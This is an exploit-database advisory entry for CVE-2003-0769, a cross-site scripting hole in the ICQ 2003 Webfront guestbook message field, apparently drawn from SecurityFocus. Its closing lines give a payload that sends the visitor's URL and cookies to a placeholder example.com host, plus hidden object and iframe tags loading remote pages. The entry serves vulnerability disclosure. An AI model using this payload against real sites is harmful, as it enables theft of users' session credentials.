ICQ 2003 - Webfront Guestbook Cross-Site Scripting

Author: Donnie Werner
type: webapps
platform: asp
port: 
date_added: 2003-09-08 
date_updated: 2012-12-03 
verified: 1 
codes: CVE-2003-0769;OSVDB-2521 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/8563/info

It has been reported that ICQ Webfront is prone to a cross-site scripting vulnerability in the message field of the guestbook module. This issue is caused by improper sanitization of user-supplied data.

Successful exploitation of this vulnerability may allow an attacker to steal cookie-based authentication credentials from a user. Other attacks are possible as well.

<object style="display:none" data="http://www.example.com/bad.asp"></object>
<SCRIPT>location.href="http://www.example.com/xss.cgi?ref="+document.URL+"cookie="+document.cookie;</script>
<iframe src="http://www.example.com"></iframe>